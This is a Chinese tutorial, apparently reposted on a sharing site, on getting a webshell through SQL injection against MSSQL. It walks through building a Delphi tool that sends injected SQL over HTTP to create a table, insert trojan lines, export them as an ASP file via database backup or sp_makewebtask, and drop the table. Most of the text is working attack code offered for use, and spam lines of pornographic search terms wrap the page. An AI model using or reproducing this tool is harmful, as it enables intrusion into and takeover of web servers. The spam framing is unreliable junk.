欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久

打開(kāi)APP
userphoto
未登錄

開(kāi)通VIP,暢享免費電子書(shū)等14項超值服

開(kāi)通VIP
通過(guò)SQL注入得到WebShell的原理及步驟
安全中國 www.anqn.com
更新時(shí)間:2008-8-3 1:07:16
責任編輯:高遠
熱 點(diǎn):
一.通過(guò)SQL注入得到WEBSHELL的原理:
N.E.V.E.R的方法:利用數據庫備份得到WEBSHELL。創(chuàng )建一個(gè)表,在表中建一個(gè)字段用來(lái)保存木馬數據。然后利用MSSQL導出庫文件的辦法把整個(gè)數據導出來(lái),最后再刪除新建的表。
分析: N.E.V.E.R利用了MSSQL的備份數據庫功能。把數據導出來(lái),設想數據庫中有<%%>之類(lèi)的ASP標實(shí)符,導出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路徑下。那么這個(gè)導出的ASP文件是不是要去解釋<%%> 之內的語(yǔ)句呢?如果數據庫中有的表中有<%%>標實(shí)符,并且這之中有錯誤,那么我們導出來(lái)生成的ASP文件也會(huì )有誤。不過(guò),這種機會(huì )也不太大。
再來(lái)看看CZY的方法吧。
CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了擴展存儲過(guò)程——sp_makewebtask。這個(gè)擴展存儲過(guò)程的作用就是:可以把MSSQL數據庫中的某個(gè)表中的記錄導出來(lái),以文件的方法保存起來(lái)。這種方法就不會(huì )出現什么問(wèn)題原因在于:我們只去讀表中的某個(gè)字段中的值。把字段的信息導出來(lái)生成文件。這個(gè)字段中的值都是我們剛加上的。自己在加入數據的時(shí)候,先調試一下,沒(méi)有問(wèn)題在加入進(jìn)去,導出來(lái)就當然沒(méi)有問(wèn)題了。
以上兩位的方法,我都手工測試過(guò)。利用SQL注入漏洞,建表,向表中加數據,然后再導出數據,再刪除表。都是利用的SQL語(yǔ)句。這里我就不多說(shuō)了,大家可以看本期的文章。
二.利用DELPHI去實(shí)現功能的前言
原理都分析過(guò)了。我們怎么利用DELPHI來(lái)實(shí)現他們的手工操作呢?其實(shí)方法是非常簡(jiǎn)單的。DELPHI提供了一個(gè)NMHTTP控件。我們利用這個(gè)控件就可以向某個(gè)特定的URL提交參數。然后實(shí)現我們的自動(dòng)注射功能。我馬上要為大家講解的這個(gè)程序,有一個(gè)特點(diǎn)。也可以說(shuō)成是一個(gè)缺陷吧。程序不去自動(dòng)猜解WEB的絕對路徑。程序不去判斷當前連接SQL數據庫的當前賬號的權限。我為什么要這么做?因為得到這兩者用SQL注入是非常難得到的。所以,我們程序發(fā)送命令就不會(huì )考慮太多。成不成功你執行完自己去看看生成沒(méi)有就OK了。
三.如何利用DELPHI得到WEBSHELL。
程序中用到的值。我們這里來(lái)看看有哪些:URL路徑,遠程WEB絕對路徑(通過(guò)其他方法得到,你一定有辦法的) 采用什么方法去得到WEBSHELL(也就是兩位的方法,你選哪一種)。我們同時(shí)要求點(diǎn)擊一個(gè)按紐開(kāi)始執行命令,和點(diǎn)擊一個(gè)按紐來(lái)終止命今。最后就是新建的表的名稱(chēng),以及表的字段名稱(chēng),再次就是字段的類(lèi)型。前面的我們在程序中放上輸入,選擇之類(lèi)的控件就行了。后面的我們設一個(gè)選項按紐點(diǎn)按紐彈出相應設置。再把這些相應的設置用一個(gè)RECORD來(lái)保存。
首先,我們在DIT控件。名稱(chēng)分別是:UrlET //URL路徑的輸入框、ShellPathET //遠程木馬的位置、CustomBdoorET//自定義木馬的位置。再放兩個(gè)RadioButton用來(lái)選擇采用什么方式獲取WEBSHELL。CAPTION分別取名為: BackUP DataBase 和 WEB作業(yè)。然后再放三個(gè)SpeedButtion按紐。名稱(chēng)分別是:設置,開(kāi)始,停止, 最后再放一個(gè)MEMO控件。來(lái)顯示當前添加的信息。到此界面上的工作就做完了。界面如圖:
現在來(lái)寫(xiě)程序了。
我們首先定義一個(gè)RECORD。
如下:
Type
SetOption = Record
TableName : String; //用來(lái)保存要創(chuàng )建的表名.
FieldName : String; //用來(lái)保存要創(chuàng )建的字段名.
FiledType : String; //用來(lái)保存創(chuàng )建的字段名類(lèi)型.
End;
FiledType字段類(lèi)型的值是以下類(lèi)型的一種:
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 這些都是MSSQL字段類(lèi)型值.
再定義一個(gè)全局變量:
Var
ISStop : Boolean; //用來(lái)判斷用戶(hù)是否按下了停止按紐.
好了。在表單創(chuàng )建的過(guò)程中,我們?yōu)镽ECORD記錄輸入默認值.
代碼如下:
procedure TMainForm.FormCreate(Sender: TObject);
begin
sOption.TableName :=’cyfd’
sOption.FieldName :=’gmemo’
sOption.FiledType :=’text’
end;
現在我們添加開(kāi)始執行命令的代碼。
先定義BDoorList 為T(mén)stringList。主要目的就是把木馬的內容加進(jìn)來(lái).
創(chuàng )建兩個(gè)變量來(lái)保存urlET.和ShellPathET的值.方便程序簡(jiǎn)化調用.
在程序開(kāi)始執行前,我們得先檢查一下用戶(hù)的輸入
定義一個(gè)Checkinput函數.
如下:
Function CheckInput : Boolean;
Begin
Result := False;
if Trim(urlet.Text) = ’’ then
Begin
Application.MessageBox(’請輸入URL地址!’,’提示’,mb_ok+mb_iconinformation);
Exit;
End;
if Trim(ShellPathET.Text) = ’’ then
Begin
Application.MessageBox(’請輸入文件保存地址!’,’提示’,mb_ok+mb_iconinformation);
Exit;
End;
IF DefBDoor.Checked then
Begin
if Not FileExists(extractfilepath(Application.ExeName)+’默認木馬.txt’) then
Begin
Application.MessageBox(’沒(méi)有找到 [默認木馬.txt] 文件!’,’提示’,mb_ok+mb_iconinformation);
Exit;
End;
End
Else
if Not FileExists(CustomBdoorET.Text) then
Begin
Application.MessageBox(’沒(méi)有找到所選的木馬文件!’,’提示’,mb_ok+mb_iconinformation);
Exit;
End;
Result := True;
End;
在最開(kāi)始加入:
IF Not CheckInput then Exit; //如果輸入不合法就退出過(guò)程.
好了,如果用戶(hù)輸入沒(méi)什么錯,我們就來(lái)下面的代碼。
首先我們把IsStop設為假。創(chuàng )建BdoorList。
BDoorList := TstringList.Create;
再加木馬內容到BDoorlist.
BDoorList.LoadFromFile(CustomBdoorET.text);
好了,在這里我還要給大家說(shuō)一下:用NMHTTP提交數據的時(shí)候.要把輸入的一些特別符號轉達成編碼。我們這里要把空格和%符號替換成相應的編碼分別是:%20和%25,不然.程序加不進(jìn)數據。
代碼如下:
BDoorList.Text:=StringReplace(BDoorList.Text,’%’,’%25’,[rfReplaceAll]);
BDoorList.Text:=StringReplace(BDoorList.Text,’ ’,’%20’,[rfReplaceAll]);
接下來(lái).我們就提交建表的功能了.
Memo.Lines.Add(’建表...’);
Memo.Lines.Add(’’); NMHttp.Get(Url+’CREATE%20TABLE%20[dbo].[’+sOption.TableName+’]%20([’+sOption.FieldName+’]%20[’+sOption.FiledType+’]);’);
這樣我們就創(chuàng )建了一個(gè)表。然后.我們向表中加記錄:
代碼如下:
Memo.Lines.Add(’加數據...’);
Memo.Lines.Add(’’);
For i:=0 to BDoorList.Count-1 do //這里用一個(gè)循環(huán)把木馬的內容加進(jìn)表中去.
Begin
IF IsStop then //這里如果點(diǎn)了停止按紐程序將終止任務(wù).
Begin
BDoorList.Free;
Exit;
End; NMhttp.Get(Url+’Insert%20into%20’+sOption.TableName+’%20(’+sOption.FieldName+’)%20values%20(’’’+BDoorList.Strings+’’’);’);
Memo.Lines.Add(’Add Line ’+Inttostr(i+1));
End;
現在就是導出數據生成木馬了.
Memo.Lines.Add(’導出數據...’);
Memo.Lines.Add(’’);
IF BKData.Checked then //如果選中采用備份數據就執行下面的命令.
NMhttp.Get(Url+’declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk=’’’+ShellPath+’’’’)
Else //如果是用WEB作業(yè)的形式. NMhttp.Get(Url+’EXECUTE%20sp_makewebtask%20@outputfile=’’’+ShellPath+’’’,@query=’’’+’select%20’+sOption.FieldName+’%20from%20’+sOption.TableName+’’’’);
我們再刪除剛建的表。NMHttp.Get(Url+’drop%20TABLE%20[dbo].[’+sOption.TableName+’];’);
這樣我們的任務(wù)就完成了。下面來(lái)釋放變量.
BDoorList.Free;
再來(lái)向停止按紐中添加點(diǎn)擊事件:
一行代碼就行了:IsStop := True;
到這里主表單的內容基本上完成了?,F在我們來(lái)看設置表單中怎么來(lái)設置.其實(shí)非常簡(jiǎn)單.主表單中已經(jīng)定義了一個(gè)RECORD.我們只需要將用戶(hù)輸入的新值,再次賦給RECORD就行了。
設置表單中先引用主表單.然后在界面中添加二個(gè)EDIT控件:
第一個(gè)名稱(chēng)為:TableNameET //保用戶(hù)輸入的存臨時(shí)表
第二個(gè)名稱(chēng)為:FieldNameET //用來(lái)保存用戶(hù)輸入的字段名.
再添加一個(gè)Combobox //用來(lái)保存用戶(hù)所選的字段類(lèi)型值.
名稱(chēng):FieldTypeCombox
OK.界面如下:
代碼如下:
定義一個(gè)過(guò)程,主表單好調用這個(gè)設置。
Procedure ShowSet;
Begin
Application.CreateForm(TSetForm,SetForm);
With SetForm do
Begin
TableNameET.Text := sOption.TableName;
FieldNameET.Text := sOption.FieldName;
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
End;
SetForm.ShowModal;
SetForm.Free;
End;
在主表單中設置的點(diǎn)擊事件中添加上showset過(guò)程就行了。
下面就是點(diǎn)擊確定的代碼了。
IF CheckInput then
Begin
sOption.TableName := Trim(TableNameET.Text); //把用戶(hù)的輸入賦給RECORD.
sOption.FieldName := Trim(FieldNameET.Text);
sOption.FiledType := FieldTypeCombox.Text;
Close;
End;
這里又有一個(gè)CheckInput主要就是檢查用戶(hù)輸入的值是不是合法。
代碼如下:
Function CheckInput : Boolean;
Begin
Result := False;
IF Trim(TableNameET.Text)=’’ then
Begin
Application.MessageBox(’請輸入臨時(shí)表名!’,’提示’,mb_ok+mb_iconinformation);
Exit;
End;
IF Trim(FieldNameET.Text)=’’ then
Begin
Application.MessageBox(’請輸入字段名!’,’提示’,mb_ok+mb_iconinformation);
Exit;
End;
Result := True;
End;
到這里程序就完了。
本站僅提供存儲服務(wù),所有內容均由用戶(hù)發(fā)布,如發(fā)現有害或侵權內容,請點(diǎn)擊舉報。
打開(kāi)APP,閱讀全文并永久保存 查看更多類(lèi)似文章
猜你喜歡
類(lèi)似文章
TClientDataSet: How to keep local data save and available when a database structure has been changed
Delphi取得網(wǎng)頁(yè)內容的另一種辦法
Core Text Tutorial for iOS: Making a Magazine App
一款全自動(dòng)webshell免殺生成器
SQLServer動(dòng)態(tài)建表
delphi中自動(dòng)生成單據和記錄編號
更多類(lèi)似文章 >>
生活服務(wù)
分享 收藏 導長(cháng)圖 關(guān)注 下載文章
綁定賬號成功
后續可登錄賬號暢享VIP特權!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服

欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久